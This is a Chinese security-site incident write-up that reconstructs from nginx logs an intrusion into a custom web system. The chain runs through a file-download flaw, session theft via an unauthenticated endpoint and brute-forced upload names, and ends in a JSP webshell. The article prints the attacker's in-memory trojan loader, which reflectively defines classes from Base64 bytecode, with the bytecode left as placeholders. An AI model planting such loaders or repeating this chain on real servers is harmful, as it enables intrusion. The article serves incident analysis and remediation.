谨记熟人下手攻击!
文章描述了一次系统遭受攻击的过程:攻击者通过上传接口、权限绕过和任意下载漏洞逐步入侵系统,并最终植入内存木马。通过分析日志和历史漏洞报告,推测攻击者可能为前合作安全厂商或离职开发人员。整改方案包括剥离接口白名单、增加安全设备监控和专属加解密网关。 2025-12-6 10:46:35 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

上班的第一天,客户称“我们被攻击了”。我想这不是被偷家了?马上联系运维团队采集日志。运维团队发来了nginx日志。于是便开始本次分析日志。

日志分析过程:

1、攻击者直接上来访问文件上传接口,发现302跳转后,开始尝试权限绕过漏洞,均失败。--时间线10:43:51。

2、攻击者开始测试任意下载的漏洞,不知道从哪里拿来的漏洞。根据状态码200,成功下载历史命令、配置文件等。(该系统属于定制化开发,UI界面提前3个月关闭)。--时间线10:58:58

3、攻击者通过历史命令分析拿到代码路径,并使用下载接口拿到系统war代码。--时间线:11:08:32

4、攻击者通过分析代码,发现存在未授权接口,并改访问了该接口,响应200状态码。--时间线:11:25:11

本地测试该接口,发现可以获取所有在线用户session

5、攻击者通过代码审计,发现上传接口。开始进行利用上传接口,携带上方获取的会话凭证--时间线 11:31:32

数据包内容

------WebKitFormBoundaryUSKOoAL6mKuLP8ys Content-Disposition: form-data; name="file";filename="1.txt"  
123------WebKitFormBoundaryUSKOoAL6mKuLP8ys--

6、攻击者根据代码分析,发现文件名随服务器时间加文件名组合。开始爆破上传的文件名,从日志分析攻击者没有访问成功上传的文件。--时间线11:33:35

7、攻击者进行爆破文件名,并没成功访问到。再次尝试多次上传文件。并同时获取新的会话凭证--时间线:11:37:16

.........试了很多次............

8、攻击者经过多次爆破未成功,开始猜测服务器时间和本地上传时间差异,尝试间隔时间多次上传。此时开始上传jsp文件;--时间线12:07:39

9、攻击者经过间隔多次方式上传,最终通过爆破成功访问到上传的jsp文件-时间线12:10:28

10、攻击者正式开始上传jsp木马,并使用jsp注入内存马方式进行植入。只要访问到jsp木马,即可植入内存马。--时间线12:12:56

样本代码

<%try {ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();String clzBytecodeBase64StrPart1 = "base64字节码";String clzBytecodeBase64StrPart2 = "base64字节码";String clzBytecodeBase64StrPart3 = "base64字节码";byte[] bytecode = null;try {Class base64Clz = clzLoader.loadClass("java.util.Base64");Class decoderClz = clzLoader.loadClass("java.util.Base64$Decoder");Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, clzBytecodeBase64StrPart1+clzBytecodeBase64StrPart2+clzBytecodeBase64StrPart3);} catch (ClassNotFoundException e) {Class datatypeConverterClz = clzLoader.loadClass("javax.xml.bind.DatatypeConverter");bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, clzBytecodeBase64StrPart1+clzBytecodeBase64StrPart2+clzBytecodeBase64StrPart3);}java.lang.reflect.Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClzMethod.setAccessible(true);Class clz = (Class) defineClzMethod.invoke(clzLoader, null, bytecode, 0  ,bytecode.length);clz.newInstance();} catch (Throwable e) {}%>

11、攻击者通过爆破文件名,成功访问到前面上传的jsp木马,同时也成功植入了内存马--时间线12:13:46

12、攻击者通过内存马访问,所有请求进行加密,无法查看操作内容。--时间线12:14:16

到了这里已经还原出攻击者入侵路径,将涉及漏洞链接收集发给了开发团队下线修复,同时发给安全团队查阅历史漏洞。反馈了两张截图在前一年发现的漏洞,涉及链接是攻击者最初利用的上传漏洞均已经修复。

该系统WEB界面已经关闭,由于APP共用部分后台接口未关全的情况下导致的本次攻击。因此也不存在通过js文件分析出文件下载漏洞。

通过分析本次攻击行为和历史报告,猜测之前拿到过该系统代码或拿到测试报告的人,下载代码只不过是看看有无更改过其他代码。大胆猜测是之前合作安全厂家渗透测试人员又或者开发团队离职人员转行网络安全人员!

整改方案:

剥离APP接口白名单,增加安全设备监控,APP专属加解密网关。

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/460798.html
如有侵权请联系:admin#unsafe.sh